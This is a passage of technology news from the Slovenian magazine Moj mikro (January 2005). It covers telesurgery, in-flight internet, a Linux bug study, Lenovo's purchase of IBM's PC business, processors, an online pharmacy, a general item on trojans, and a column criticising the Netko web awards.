oskrbo in celo operacijo v
primerih, ko sta zdravnik
in pacient daleč narazen.
Tipičen zgled so astronavti
na orbitalni postaji, ki jih je
sicer mogoče pripeljati v
bolnišnico, a tak izlet stane
milijone dolarjev. Pred
kratkim so naredili prvi
preizkus telemedicine, pri
čemer so uporabili brezžične
povezave (radio valove)
namesto običajnejših kablov.
»Pacient«, pravzaprav lutka
za trening kirurgov, je bil 19
metrov pod vodno površino
v podvodnem raziskovalnem
centru na Floridi, zdravnik pa
je bil oddaljen 2000 kilometrov.
Dejansko je »operiral« robot,
imenovan Zeus, opremljen z
dvema robotskima rokama
in dodatno endoskopsko
roko. Zdravnik robota
krmili prek krmilne palice,
hkrati pa vidi prek robotovih
oči na monitorjih. Sponzor
preizkusa je bila NASA.
Vse več pa je tudi
drugačnih poskusov
uporabe računalnika v
zdravstvene namene. Še
zlasti uspešne so, kot kaže,
računalniške igre. Skrajno
leva slika kaže računalniško
igro in senzor za utrip
srca. Namen je pomagati
bolniku, da se sprosti. Torej
odganjanje stresa in pomoč
bolnikom, ki trpijo zaradi
visokega krvnega pritiska.
Na naslednjo stopnjo igre ni
mogoče napredovati, dokler
igralec ni umirjen – kar
sistem zazna z merjenjem
utripa srca.
Drugi sistem na
sredinski sliki je namenjen
rehabilitaciji motoričnih in
živčnih funkcij dlani. Bolnik
si obleče posebno rokavico,
nato pa ta izvaja neke vrste
fizioterapijo na daljavo.
Menda stvar pomaga tudi
bolnikom z Alzheimerjevo
boleznijo.
Tretja slika pa prikazuje
virtualni sistem za
izobraževanje in urjenje reševalcev in drugega zdravstvenega osebja. Gre za simulacijo
poškodb in ne bolezni, saj je sponzor vseh sistemov ameriška vojska. Virtualni ranjenec
se odziva na zdravljenje oziroma na zdravila tako, kot naj bi se odzval pravi ranjenec.
Pri tem gre tudi za simulacijo učinka znanih zdravil.

Bistvo informacijskih
in telekomunikacijskih
tehnologij je
omogočanje globalne
povezljivosti in,
kar je nemara še
pomembnejše, čim
preprostejšo uporabo
različnih storitev. O
internetu v letalih smo
že pisali približno pred
enim letom. Vodafone je
zdaj s ponudnikom Connexion (ta je opremil letala Lufthanse) sklenil neke vrste
gostovanje na letalih. To pomeni, da bodo njihovi poslovni naročniki s podatkovnim
paketom uporabo storitev plačevali na Vodafonovem računu in ne posebej s
denarjem ali kreditnimi karticami. Znane so tudi cene. Na dolgih letih (več kot šest
ur) bo dostop veljal preračunano 6 tisočakov, na letih trajanja med 3 in 6 urami
4 tisočaka in na krajši letih 3 tisočake. Te cene niso na uro, temveč za trajanje
leta. Obstaja tudi tarifa za one, ki bi radi plačevali po času: 2 tisočaka za prvih 30
minut in nato 50 tolarjev za vsako naslednjo minuto. Poceni ravno ni. Preverili smo
tudi pri Simobilu, ali lahko po kakšnem čudežu storitev uporabljajo tudi njihovi
naročniki. Žal (še) ne. Ker gre za prvo takšno gostovanje, je pričakovati, da bodo
zgledu sledili tudi drugi operaterji mobilne telefonije. Morda tudi naši?
www.vodafone.com

10

MOJ MIKRO 1 JANUAR 2005

LINUX STATISTIČNO MANJ HROŠČAT
Zagovorniki Linuxa že dlje časa trdijo, da način njegovega razvoja (ko kodo razvija
in preizkuša množica ljudi po vsem svetu) pripomore k boljši in varnejši programski
opremi. Kaže, da imajo zdaj za svoje trditve tudi statistični dokaz. Raziskava je trajala
pet let in rezultati so zgovorni. V Linuxovem jedru 2,6 je 5,7 milijona vrstic kode, našli
pa so 985 napak (hroščev). V kritičnem delu jedra so našli 627 napak, 569 napak je
lahko povzročilo sesutje sistem, 100 so bile varnostne luknje, 33 pa jih je le vplivalo
na slabše delovanje sistema Komercialna programska oprema ima tipično od 20
do 30 hroščev na vsakih 1000 vrstic kode (tako vsaj trdijo na univerzi Carnegie Mellon.
Pri omenjenem jedru je povprečje 1,7 hrošča na 1000 vrstic. Raziskavo so naredili na
univerzi Stanford.
Čeprav verjamemo rezultatom raziskave, nas malce čudi tistih 20 do 30 napak v
komercialni programski opremi. Zdi se nam, da so te številke nekoliko previsoka in
zatorej malce dvomimo o tem podatku, saj tudi ne vemo, za kakšno raziskavo je šlo v
tem primeru. Da bomo pravični, naj tudi omenimo, da ima operacijski sistem Windows
XP 40 milijonov vrstic. Napak je tudi v njem veliko, vendar ne vemo točno, koliko.
Vsekakor pa več kot v omenjenem Linuxovem jedru.

KITAJSKI IBM
HP in Dell, trenutno trdno na prestolu
največjih proizvajalcev osebnih računalnikov,
bosta, kot je zdaj že jasno, dobila močnega
kitajskega tekmeca. Podjetje Lenovo Group
(malokdo med nami ga je doslej poznal) je
od IBM-a delno za denar in delno v obliki
delnic kupilo oddelek za proizvodnjo osebnih
in prenosnih računalnikov. Poleg blagovnih
znamk (ThinkPad) in razvojnih potencialov
so Kitajci pridobili tudi globalno prodajno
mrežo. Lenovo bo glavni dobavitelj IBM-a, ki bo prek svojih podjetij in partnerjev še
vedno prodajal do nedavnega svoje računalnike. Še pomembnejše je, da je Lenovo
s tem vstopil tudi na trg Amerike in Evrope, hkrati pa trdno sedi na »lokalnem«
in hkrati trgu z največjim potencialom. Lenovo pa še zdaleč ni mlado in majhno
podjetje. Ustanovljeno je bilo leta 1984 in je prvo, ki je Kitajcem predstavilo osebne
računalnike – še v času, ko je bila ta država veliko bolj zaprta, kot je danes. IBM pa ni
dobil zgolj denarja, temveč ima kot partnersko podjetje in tudi kot lastnik Lenova na

Foto Reuters

Foto Reuters

OPERACIJE NA DALJAVO

Foto Lufthansa

NOVICE

NOVICE

ZMOGLJIVI
SERIJSKI
STREŽNIKI TROY
Tako imenovani serijski strežniki podjetja Troy
omogočajo povezavo serijskih naprav (čitalniki črtnih kod,
tiskalniki, medicinske naprave) prek tradicionalnega
omrežja ethernet (10/100 BaseTX) ali brezžičnega
omrežja WLAN (po standardu 802.11b). Naprave, ki jih
želimo omrežiti morajo, imeti enega od zaporednih
vmesnikov (RS-232, RS-422 ali RS-485) oziroma
podpirajo protokol modbus. Pri povezavi prek
brezžičnega omrežja poudarjena varnost komunikacije,
kar je zagotovljeno z uporabo protokola EAP
(Authentication Protocol with Tunneled Transport
Layer Security) in varnostnega mehanizma WPA prek
protokola TKIP (Temporal Key Integrity). Z dodatno
zaščito dostopa do naprav z geslom in seznamom
veljavnih TCP/IP-naslovov so podatki varni.

Strežniki Troy
500/505 so namenjeni
industrijski uporabi tudi v okolju,
kjer je verjetnost poškodb velika. Njihovo ohišje je
kovinsko. Kot primer naj navedemo, da preživijo tudi
električni sunek 15 kV na vtiču zaporednega vmesnika.
Strežniki so narejeni tako, da omogočajo nadgradnjo
lastne programske opreme (firmware), če je ta mogoča
oziroma potrebna.
www.ares-comp.si
www.troygroup.com

(promocijska novica)

Foto Reuters

RAZGLEDNICA Z MARSA

Robotski vozili, ki so ju Američani poslali na Mars, še vedno delujeta in raziskujeta planet. Pred kratkim je vozilo
Opportunity s svojo panoramsko kamero od daleč posnelo zanimiv kraj. Ker sta bila dostop do tega mesta in s tem
možnost bližnjih posnetkov prenevarna, so uporabili algoritem, s pomočjo katerega so izdelali sliko višje ločljivosti,
kot jo je dejansko posnela kamera. S tem so dobili tudi podrobnosti sicer oddaljenega mesta. Sliko so naredili s
kombinacijo 17 slik, posnetih iz malce različnih položajev.
http://marsrovers.jpl.nasa.gov

široko odprta vrata za prodajo svojih storitev na Kitajskem.
In ker ima IBM zadnje časa več časa, je nekaj
novosti tudi glede njihove nove različice zbirke podatkov
(trenutno v beta različici). Pri IBM-u so ugotovili, da
relacijske zbirke niso najprimernejpe za shranjevanje
podatkov v formatu XML. Zato bo njihova zbirka hkrati
relacijska in prilagojena formatu XML. Imela bo ločena
mehanizma shranjevanja (relacijsko in domorodno XML),
po eni strani prilagojena shranjevanju v obliki B-dreves
in po drugem v hierarhični obliki. Ločeni bodo tabele
in indeksi. Vse, kar je nad tem (upravljanje, avtomatika,
optimiranje zbirke) pa bo skupno. Ena zbirka podatkov
in dva mehanizma za shranjevanje je novost v svetu
zbirk. Nekateri analitiki sodijo, da je IBM s tem prijemom
pobegnil Oraclu (ta se s tem seveda ne bo strinjal). No,
nove zbirke še ni na trgu.
www.ibm.com

FILM O SLOVENIJI V SPLETU
Od konca oktobra
lahko v spletu
najdete kratek
promocijski film o
Sloveniji. Pohvalno
je, da je film v več
oblikah, torej z
ločljivostjo in s tem
z velikostjo datotek
prilagojen različnim tipom povezav v internet. Celotna
predstavitev traja okoli 4 minute, in če nič drugega, lahko
vsem svojim dopisnim prijateljem pošljete filmček ali
jih povabite, da si ga ogledajo na spodnji spletni strani.
Je namreč za nekomercialno uporabo popolnoma
brezplačen.
http://www.uvi.si/slo/slovenija/av-sredstva/video/
MOJ MIKRO 1 JANUAR 2005

11

NOVICE

V prejšnjem Mojem mikru smo pisali o problemih,
s katerimi se doma in v svetu srečujejo vsi, ki bi radi
zdravila prodajali tudi v spletu. In ker je splet enovit
za celotno področje države, bo tisti, ki bo pri nas prvi
postavil spletno lekarno, lahko požel največ slave in
s tem tudi denarja. Lekarna Nove poljane se je v splet,
sicer dokaj neuspešno, podala že leta 2001. Zdaj naj
bi šlo za res. V svoji spletni prodajalni tako prodajajo
zdravila in izdelke (predvsem kozmetiko), ki jih je že
tako mogoče dobiti brez recepta. Zdravil na recept ni
možno kupiti, kot to ni mogoče kupiti nikjer po Evropi.
Cene zdravil so enake kot v običajni lekarni. Plačati
morate dostavo, ki znaša 960 tolarjev (normalna pošta)
oziroma 1290 tolarjev (hitra pošta). Višja tarifa jamči, da naročene izdelke prejmete v treh urah.
Kupec se mora pred prvim nakupom registrirati. Med drugimi podatki morate vpisati tudi telefonsko številko,
prek katere vas preverijo, ali ste res oseba, za katero se izdajate. Tako ne morete v imenu soseda naročiti tone
aspirinov. Plačila so možna po prejetju, po predračunu ali prek sistema Moneta. Ta je še najprimernejši, a ga lahko
uporabljajo le Mobitelovi uporabniki.
Naša kritika leti na ceno zdravil in način dostave. Kadarkoli fizična trgovina odpre spletni ekvivalent, se srečujemo
z istimi težavami. Običajno je, da so cene v spletu nižje kot tiste v trgovini, kar v tem primeru ni mogoče reči. Vsaj
to bi lahko naredili, da bi bila dostava brezplačna pri naročilu, ki bi preseglo določen znesek. Omenjena zneska
nista zanemarljiva, tako da bo marsikateri kupec še vedno zavil v lekarno, še zlasti če je ta blizu. Po drugi strani
tudi dostava ni najhitrejša (tudi pri hitri pošti), še zlasti pa ne pri cenejši, navadni pošti. V nujnih primerih bomo še
vedno sedli v avto in se odpeljali v najbližjo delujočo lekarno. Udobnost nakupa iz naslonjača, ki v svetu že dolgo
ni več glavni razlog za odločanje o spletnem nakupu (bistvena je nižja cena), nam želijo še zaračunati. Edino v vrsti
nam v nekaterih primerih ne bo treba več čakati.
www.lekarnar.com

SIOL PROTI SPAMU
Končno je tudi Siol svojim uporabnikom ponudil zaščito
pred neželeno elektronsko pošto (spam). Uporabniki lahko
storitev aktivirajo prek Siolove servisne strani, na voljo pa
imajo dve možnosti. V prvem načinu sistem potencialna
spam sporočila zgolj označi, še vedno pa jih spusti v poštni
predal. Drugi način pa ta sporočila premakne v mapo Spam, kjer
so sicer še vedno dostopna. Storitev pa na žal ni brezplačna,
saj vam bodo vsak mesec zanjo zaračunali 200 tolarjev.
www.siol.net

TROJANCI: TIHA EPIDEMIJA
Ena pogostih napačnih predstav je, da imajo avtorji virusov cilj brisati datoteke s
trdih diskov s čim večjega številka računalnikov. Resničnost pa je, da dandanes obstaja
veliko kibernetičnih sleparjev z veliko znanja o najnovejših tehnikah digitalnih zlorab. Druga
pogosta napaka je mišljenje, da internetnih kriminalcev vaš računalnik ne zanima. Niste
nikoli uporabili številke kreditne kartice ali podatkov o svojem bančnem računu prek
spleta? Niste nikoli uporabili spletnih storitev – kjer so dostopni podatki o vašem bančnem računu –, da bi preverili
telefonske račune ali račune električne energije? Ali vaš ponudnik internetnih storitev nima področja, kjer lahko
preverite podatke svojega računa? Kibernetični sleparji vedo vse o tem. Vedo, da so informacije, ki jih želijo imeti, na
dosegu, in da je vse, kar potrebujejo, pravo orodje, da jih izvlečejo. To se morda zdi težko, a to orodje pravzaprav
obstaja že nekaj časa: trojanski konji.
Za razliko od virusov drugih vrst ali črvov – čeprav obstajajo izjeme – trojanci ne brišejo datotek, ne prikazujejo
neumnih sporočil in ne pošiljajo okuženih e-poštnih sporočil. Lahko pa ukradejo vse vrste informacij ali spustijo
napadalca v vaš sistem ali celo prepustijo popoln nadzor nad vašim računalnikom drugim osebam. Trojanci lahko tudi
hekerjem omogočijo uporabljati vaš računalnik za napade iz vašega računalnika. To pomeni, da bo žrtev napada
verjela, da ste odgovorni vi, ne heker. Ta tehnika uporabe računalnikov kot »zombijev« lahko tudi poveže več
računalnikov, da je odkrivanje pravega vira napada še težje. Za nameček se trojanci običajno ne širijo prek e-pošte,
ker to ni dovolj subtilno. Pogosto so skriti v programih, ki se nalagajo prek interneta ali izkoriščajo ranljivosti, da
okužijo računalnik preprosto takrat, ko uporabnik brez slabih slutenj obišče spletno stran. Zaradi tega je vera,
da je vse, kar potrebujete za zaščito vašega računalnika, previdnost in zdrava pamet, najmanj nepremišljena. Ni
nadomestka za dober, redno posodobljen protivirusni program, če zares želite ostati zunaj dosega nevarnosti.
www.pandasoftware.com (promocijska novica)

12

MOJ MIKRO 1 JANUAR 2005

ZAKOVA
NOVA TRGOVINA

(promocijska novica)

PRVA SLOVENSKA E-LEKARNA

Podjetje Zak je sredi Ljubljane na Miklošičevi ulici
36 odprlo novo trgovino z računalniško opremo in
potrošnim materialom.
www.zak.si

IDEJE ZA PRIHODNOST
Primorski tehnološki park Podjetje za
prihodnost je organiziral zbiranje idej, ki bi lahko
v prihodnosti postale poslovna priložnost. Zbrali
so nekatere ideje, med katerimi izpostavljamo
naslednje:
E-rescuer, avtomatski sistem za zgodnje
odkrivanje potencialne utopitve, je inovativna
rešitev za zagotavljanje varnosti obiskovalcev
kompleksov z vodnimi površinami. S sodobnimi
računalniškimi in video tehnologijami za
obdelavo videa v realnem času bo E-rescuer
sposoben zgodnjega odkrivanja potencialne
utopitve kopalcev. V takšnem primeru bo
sistem samodejno, v trenutku opozoril
pristojne h ukrepanju in s tem bistveno
zmanjšal odzivni čas reševalcev, ki je lahko
usodno dolg. Tehnologije in koncepti, ki bodo
izvedeni v omenjeni rešitvi, imajo perspektivne
možnosti uporabe tudi na drugih področjih
analize gibanja oseb (javna mesta, igralnice,
veleblagovnice ...), ki so tržno zelo zanimiva.
Sistem Mvrsta za urejanje čakalnih vrst z
SMS-pozivom je inovacija, ki prek mobilnega
telefona rešuje problem čakalnih vrst, kjerkoli
so stranke izpostavljene dolgemu čakanju.
Solarna žaluzija je nova vrsta žaluzije, ki
pretvarja sončno energijo v električno, s čimer
se zmanjša potreba po električni energiji iz
omrežja (kar pomeni prihranek za kupca).
Namestiti jo je moč na notranjo in zunanjo
stran oken. Ena stran žaluzije je opremljena
s sončnimi celicami, katerih barvo lahko
izberemo. Elektriko lahko solarna žaluzija
proizvaja tudi ponoči, ko so vklopljene luči v
prostoru, in tako dodatno zmanjša potrebo po
elektriki iz omrežja ter s tem omogoči dodaten
prihranek kupcu.
www.primorski-tp.si

NOVICE

PROTIROPNA NAPRAVA POR-A

Običajno se srečujemo s protivlomnimi alarmnimi sistemi različnih
funkcionalnosti. Povsod, kjer se pojavijo večje vsote denarja ali vrednostni
predmeti, pa se je treba zavarovati tudi pred ropom, ki je čedalje pogostejša
oblika odtujitve. Pri podjetju VTZ iz Ljubljane so predstavili svojo rešitev protiropne
naprave, ki se jo običajno vključi kar v protivlomni sistem tehničnega varovanja
in zaščite. Cenovno lahko protiropni sistem primerjamo s protivlomnim
sistemom. Bistvena prednost pa je v tem, da lahko protiropni sistem kombiniramo
z večino obstoječih protivlomnih sistemov na našem trgu. To pomeni, da
ni treba zamenjati celotnega sistema, temveč ga le nadgradimo z novimi
funkcionalnostmi. Če se odločimo za nov sistem, pa je to vse skupaj povezano v enem samem ohišju. Glavna razlika
med protiropnim in protivlomnim sistemom pa je v delovanju, saj protivlomna centrala deluje samo v času, ko je
ustanova zaprta. Le določen del (sabotaža) deluje 24 ur, protiropni sistem pa deluje 24 ur, torej tudi takrat, ko so ljudje
prisotni. Ko ni nikogar, pa protiropni sistem s svojimi dodatnimi funkcijami otežuje delo vlomilcem in, recimo, označi
denar in roparje.
Rop vplačilno-izplačilne enote se šteje z vidika roparjev za uspešnega, če je izveden hitro in drzno. Nasilje, ki
spremlja roparski napad, povzroči šok pri zaposlenih kot tudi pri morebitnih obiskovalcih. Doslej praksa ropov
v naši državi ne beleži izsiljevanja z zajetjem talcev, kar pa ni redkost v tujih državah. To pa ponavadi povzroči
posebne okoliščine, ki zahtevajo ustrezne ukrepe, zlasti v primerih, ko vplačilno-izplačilne enote uporabljajo časovno
zaklepanje blagajn.
Protiropni sistem POR-A, ki je plod domačega znanja in izdelave, rešuje številne od navedenih problemov, saj
ga je mogoče vnaprej poljubno programirati. Protiropna naprava omogoča poleg takojšnje sprožitve alarma na
intervencijsko mesto tudi usmeritev snemanja dogodkov na incidente ter daljinsko upravljanje in nadzor nad centralnim
zaklepanjem tako priročnih blagajn kot tudi trezorjev. Vhodne enote, ki prožijo protiropne alarme, so lahko samodejni
prepoznavalniki obraza, pasti za denar, nevidne žarkovne zapore kot tudi največkrat uporabljene alarmne tipke,
nožna stikala in podobno. Ob aktiviranju katerekoli od omenjenih naprav se po prednastavljenem programu začnejo
dejavnosti za oviranje roparskega napada. Tako se na primer aktivirajo časovni zaklepi blagajn in trezorjev z različnim
časovnim trajanjem, za stranke se lahko izpiše na prikazovalniku takšno ali drugačno obvestilo, na primer naj
ohranijo mirno kri ... Če so v prostorih vrata ali regulatorji vstopa in izstopa, se lahko na podlagi predprogramiranja
odprejo, zaprejo ali zaklenejo. Če se roparski napad kljub vsemu nadaljuje z vstopom v predtrezorski in trezorski
prostor, naprava POR-A to zazna in aktivira dimno polje. Ob izstopu roparjev iz varovanih prostorov pa jih naprava lahko
tudi označi z nevidno tekočino in aktivira naprave za označevanja denarja. (m.s)

OUTLOOK PO NAROČILU
Microsoft je v začetku decembra začel testirati
novo storitev, imenovan Outlook Live. To je je nekakšen
Outlook po naročilu, torej spletna storitev, ki omogoča
uporabo Outlooka za upravljanje s sporočili Hotmaila,
dostop do koledarja prek spleta, kjer bodo uporabniki
imeli na voljo 2 GB prostora za shranjevanje sporočil,
možnost pošiljanja prilog do velikosti 20 MB in
snemljivo različico Outlooka. Outlook Live je dokaj
podoben Outlook Connectorju, ki ga Microsoft ponuja
za naročnino 9,95 USD mesečno za naročnike MSN
Premium Service. Outlook Live se od Connectorja
razlikuje po tem, da ni le dodatek obstoječim
uporabnikom Outlooka ali sistema Office. Naročniki
si bodo namreč neodvisno od tega, kaj uporabljajo,
lahko iz interneta sneli posebno različico Outlooka.
Microsoftov predstavnik je povedal, da bo Outlook
Live čisto samostojna storitev, torej ne bo vezan na
MSN,. Cena storitve zaenkrat še ni znana.
www.Microsoft.com

PALM NA LINUXU
Podjetje PalmSource, derivat nekoč celovitega podjetja
Palm in poznano po operacijskem sistem PalmOS,
namerava slednjega izdati v novi različici, pri kateri bodo
kot jedro uporabili Linux. Stvar je zanimiva, saj naj bi
operacijski sistem nameščali v poceni mobilne telefone,
namenjene predvsem kitajskemu trgu. In kar je morda
še najzanimivejše, stvar naj bi konkurirala operacijskima
sistemom podjetij Symbian in Microsoft.
www.palmsource.com

MIKROPROCESORSKE NOVICE
Celični procesor
IBM, ki je prvi začel omenjati celične procesorje,
je s Toshibo in Sonyjem predstavil podatke o
zmogljivosti prvih tovrstnih procesorjev. Zanimivo
je, da bo na tej tehnologiji temeljila nova igralna
konzola Playstation 3. Končne specifikacije procesorjev
bodo objavili na prireditvi ISSCC (International Solid
State Circuit Conference) februarja 2005, vendar
je že potrjeno, da bo procesor 64-biten in da bo
vseboval več namenskih jeder (modularna zgradba,
specializiranih delov za obdelavo videa, zvoka) ...
Procesor bo sočasno podpiral več operacijskih sistemov
in bo zmožen dela tudi v stvarnem času, s čimer se
bo seznam namembnosti ustrezno podaljšal. Poleg
velike pomnilniške prepustnosti (IBM še ni napovedal,
katero pomnilniško tehnologijo bo podprl) je zanimivo,
da bo ta z 90 nm tehnologijo zgrajen procesor
vseboval tudi zaščito proti piratstvu – kar je šibka plat
vseh dosedanjih igralnih konzol.

AMD z 90 nm procesorji
AMD je potihoma
začel prodajati oziroma
razpošiljati prve serije
novih procesorjev
Opteron, proizvedenih
z 90 nm tehnologijo silicija na izolatorju (SOI). Novi
procesorji nosijo oznake 146, 246, 248 in 846
namenjeni pa so 1-, 2-, 4- in 8-procesnim strežnikom.
Procesorji z delovno frekvenco med 2 in 2,2 GHz se
ne razlikujejo od starih, z 0,13-mikronsko tehnologijo

14

MOJ MIKRO 1 JANUAR 2005

izdelanih procesorjev. Poleg strežniških je AMD že pred
časom pričel izdelovati namizne procesorje z novo
tehnologijo. Edina prednost sicer identično zmogljivih
procesorjev je poraba energije, ki je pri polni obremenitvi
novih Opteronov okoli 67 W (ob mirovanju s pomočjo
tehnike Cool’n’Quiet pa 21 W, glede na predhodne
vrednosti 89 W in 22W ...

AMD niža cene
AMD je 26. decembra znižal cene svojim namiznim
in strežniškim procesorjem, hkrati pa predstavil novo
paleto zmogljivejših strežniških procesorjev Opteron z
oznakami 252 in 852 (takt 2,5 GHz).

nVidia z novimi veznimi nabori
Potem ko je nVidia predstavila nov vezni nabor
nForce 4 za osnovo AMD, je tik pred izdajo tudi različica
nabora za osnovo Intel. Specifikacije obeh so podobne,
saj prinašajo podporo za SerialATA-II (300Mb/s),
osemkanalni zvok (znano je že, da bo nVidia navkljub
optimističnim napovedim o naslednji generaciji svoje
rešitve Sound Storm 2 vdelala kar Intelov HD avdio �
Azalio), režo PCIE x16 za grafične kartice, oziroma kar
dve – za podporo svoji vzporedni grafični rešitvi SLI, ter
še kup izboljšav.

HP opušča Itanium
HP se umika iz razvoja 64-bitnega procesorja
Itanium, ki ga je v zadnjih letih skupaj z Intelom
razvijal in promoviral predvsem za visoko zmogljivi
strežniški segment. Intel je potrdil, da je odkupil HP-jev

delež in da bo skupino 200 inženirjev, ki so delali v
projektu, preselil v svoje prostore v Colorado. Finančne
podrobnosti posla niso znane.

Intelova vizija 2005
Paul Otellini, Intelov predsednik in direktor, je na
predstavitvi, namenjeni finančnim analitikom v New
Yorku predstavil nekatere smernice, ki jim bo Intel sledil
v letu 2005. Intel naj bi se v letu 2004 naučil precej,
in že odločitev, da prekine razvoj hitrih enojedrnih
procesorjev, naj bi bil v prid pohitritvi razvoja dvojedrnih
procesorjev. Intel je končno prisluhnil uporabnikom
in kmečki logiki, in napovedal namizno osnovo, ki bo
temeljila na modelu Centrino. Razvojno ime za to osnovo
je Lyndon, ciljni trg pa so dnevne sobe digitalnega
doma. Osnova bo temeljila na procesorju Pentium 4 in
64-bitnih ukazih. Med novostmi bo še niz upravljavskih
funkcij, kot je AMT (Active Management Technology),
ki omogoča skrbnikov oddaljeni dostop do ugasnjenih
računalnikov.

Intelovi dvojedrni procesorji
V tretji četrtini 2005 bodo luč sveta ugledali prvi
Intelovi dvojedrni procesorji z razvojnim imenom
Smithfield oziroma modeli X20, X30 in X40. Temeljili bo
na dveh povezanih jedrih Prescott, od katerih bo imel
vsak dostop do 1 MB predpomnilnika L2, vključeni pa
bodo tudi 64-bitni ukazi. Leta 2006 ga bo nasledila
zasnova Cedar Mill, zgrajena s 65 nm tehnologijo. Prav
tako v 2006 bo Intel predstavil osnovi, znani kot Bridge
Creek in Averill, namenjeni digitalnemu domu. Ti bosta že

PAMETNE STAVBE

Na Brdu pri Kranju je bil ob
koncu novembra dvodnevni
posvet na temo pametnih
stavb. Sodobne stavbe
vsebujejo številne sisteme,
tako ogrevalne, varnostne,
protipožarne, za razsvetljavo,
različne gospodinjske stroje,
aparate zabavne elektronike,
osebne računalnike in drugo opremo, ki je danes pogosto že računalniško krmiljena.
V pametnih stavbah naj bi bili vsi ti sistemi med seboj povezani v skupno omrežje, to pa z
zunanjim svetom, kar omogoča izmenjavo informacij ter ukrepanje ob različnih dogodkih.
Ker so storitve in sistemi v pametnih stavbah med seboj povezani, to omogoča centralno
ali oddaljeno upravljanje celotnega bivalnega oziroma poslovnega prostora.
Problematika pametnih stavb je v svetu zelo aktualna, še zlasti z ekološkega stališča
izrabe energije, pri nas pa se o tem skoraj ne govori. Namen posveta je bil tudi razgrniti
različne probleme, s katerimi se srečujemo pri projektih, povezanimi s pametnimi
hišami. Posvet je bil precej telekomunikacijsko obarvan, kljub temu pa je bilo kar nekaj
zanimivih razpravljavcev iz drugih strok, ki so problem predstavili s svojega stališča.
Zelo zanimivo je bilo slišati, kako so se v poslovnem sistemu Mercator lotili gradnje
večjih trgovskih centrov. V njihovem primeru morajo projektanti upoštevati vrsto
dejavnikov, da tak poslovni kompleks porabi čim manj energije za gretje in hlajenje.
Predstavnik Gorenja je pogledal na pametno hišo s svojega zornega kota. Zanje
pametna hiša združuje vrsto gospodinjskih aparatov, ki so med seboj povezani in znajo
komunicirati prek skupnega vmesnika tudi z zunanjim svetom.
Sklep posveta je bil nekako logičen: pametne hiše so izrazito interdisciplinarne, kjer
združujejo znanje strokovnjaki več področij. Sodelovanje med skupinami bo nujno
potrebno, da bodo tovrstni projekti uspešni.
Od uporabnikov pa je bilo slišati tudi želje, da bi bilo najbolje postaviti referenčni
objekt, na katerem bi se potem izvajale meritve in raziskave. Tak objekt bi rabil tudi
za predstavitev možnosti in rešitev širši javnosti, ki bi se morda tako laže odločila za
gradnjo tovrstnih objektov.
izrabljali tudi nove tehnologije za virtualizacijo in varnost, uporabno šele s prihodom
Windows Longhorn. Sicer pa bomo ti tehnologiji najprej srečali v procesorjih za
delovne postaje Xeon.

ATI Radeon XPress 200
ATI je predstavil svoj prvi vezni nabor za osnovo AMD, ki bo poskušal konkurirati
nVidinemu nForcu 4. Nabor podpira PCIE, hkrati pa bo vdelano tudi grafično vezje,
podobno grafični kartici X300. Ta dviga hitrost glede na pretekli 9100 IGP. X200 glede
na nForce 4 še vedno zaostaja vsaj pri številu funkcij (kot je recimo vdelani požarni zid).

Grafični boj konzol
Potem ko je Microsoft za
grafično jedro nove konzole
Xbox 2 izbral ATI, pa je nVidia
vrnila udarec z ravnokar
podpisano pogodbo za
izdelavo grafičnega procesorja
Sonyjeve prihajajoče konzole
Playstation 3. Več podatkov o
specifikacijah in moči novih
grafičnih procesorjev še ni
znanih. Ko že govorimo o konzolah: na naš trg tudi uradno prihajajo konzole Xbox.

nVidia 6200 TurboCache
nVidia je na željo OEM-partnerjev predstavila poceni grafično kartico za vmesnik
PCIE, imenovano 6200. Ta v okolju 3Dmark2005 dosega okoli 2300 točk, kar jo
uvršča med dokaj zmogljive kartice, povsem primerne tudi za igranje današnjih iger
(konkurenca sta ATI X300 in manj zmogljiva X300SE). Kartica podpira najnovejše
tehnologije in strojno podporo DirectX 9, model senčenja 3.0. Na račun cene ima
omejen pomnilnik, vendar si s tehnologijo TurboCache lahko sposoja sistemski
pomnilnik. Cena je okoli 80 USD za kartico z 64 MB pomnilnika.
MOJ MIKRO 1 JANUAR 2005

15

V PRECEPU

BLIŠČ IN BEDA NETKA
Piše : Zvone Štor, Večer

P

o petih letih izbora najboljše poslovne
spletne strani si organizatorji Netka ne bi
smeli privoščiti začetniških spodrsljajev −
pomanjkanja kriterijev.
Slovenska internetna scena ima zvezde.
Za kronanje je poskrbela Gospodarska zbornica
Slovenije (GZS), ki ji lahko za izvedbo projekta Netko
zgolj čestitamo. A Slovenci ne bi bili to, kar smo, če
k vsemu cirkusu izbora najboljših spletišč ne bi dodali
znamenitega »vendar« ...
Čestitke zmagovalcem, čestitke 20 finalistom in čestitke
tudi preostalim 80 spletnih mestom, ki se jim ni uspelo
uvrstiti v ožji izbor. Vendar pa si predvsem komisija
zasluži nekaj kritik. Privoščimo si majhen skok čez mejo.
Na Balkan. Tudi zaradi nekoč čustvenih povezav, pa tudi
zato, ker si Slovenceljni radi nadenemo masko vzvišenosti,
ko je govor o Srbih in še sploh Hrvatih. V Beogradu
je bila v začetku decembra glamurozna prireditev IT
globus, kjer so podelili IKT-priznanja (od tiskalnikov,
digitalcev, programske opreme, sejemske dejavnosti in
tudi interneta). Nagrado za najboljšo spletno predstavitev
je dobila nacionalna Radio televizija Srbija (www.
rts.co.yu). Očitno režimske lovke še vedno delujejo, pa
čeprav je maršal zaprt nekje na severu. Prav tako ne
smemo spregledati akcije HR Top 25 Web, ki jo vodijo
čez vso leto, velik uspeh pa je že, če kakšno podjetje osvoji
mesečno nagrado. Nepravično bi bilo zdaj primerjati ali
celo ocenjevati zmagovalce med sabo, a tako pri Srbih,
kot Hrvatih je glavno in osnovno merilo opravljeno delo in
angažma na področju spleta. Kako pa je s tem v Sloveniji
(beri: pri Netku)?
Borno.
Zelo borno.
Saj ne, da bi Novemu forumu oporekali zasluge,
vendar bi morali krepko pomisliti, kaj tako pomembnega
in vredno zlatega Netka so z iskalnikom Najdi.si
naredili v letu 2004? »No, ja ... Oni so tako dobri, da
si zaslužijo nagrado,« so neuradno ob kozarčku pojasnili
člani komisije. Že, že, vendar pa Najdi.si ni od včeraj
(beri: letos). Nagrado bi morali dobiti lani, še bolje
predlani, ko so prodrli na trg in se na nož bojevali z
dotlej nepremagljivo Mat'kurjo. Ali gre torej razumeti,
da je letošnja žirija popravljala napake prejšnjih? Ali
gre morda za nezaupnico stari garnituri žirije? Ne
smemo namreč spregledati, da so se ocenjevalci v celoti
spremenili, saj sta več kot očitno želela glavno besedo
obdržati paradna pokrovitelja: ukinjeno ministrstvo za
informacijsko družbo in GZS.
Še bolj moteč zgled je zlati Netko v skupini malih
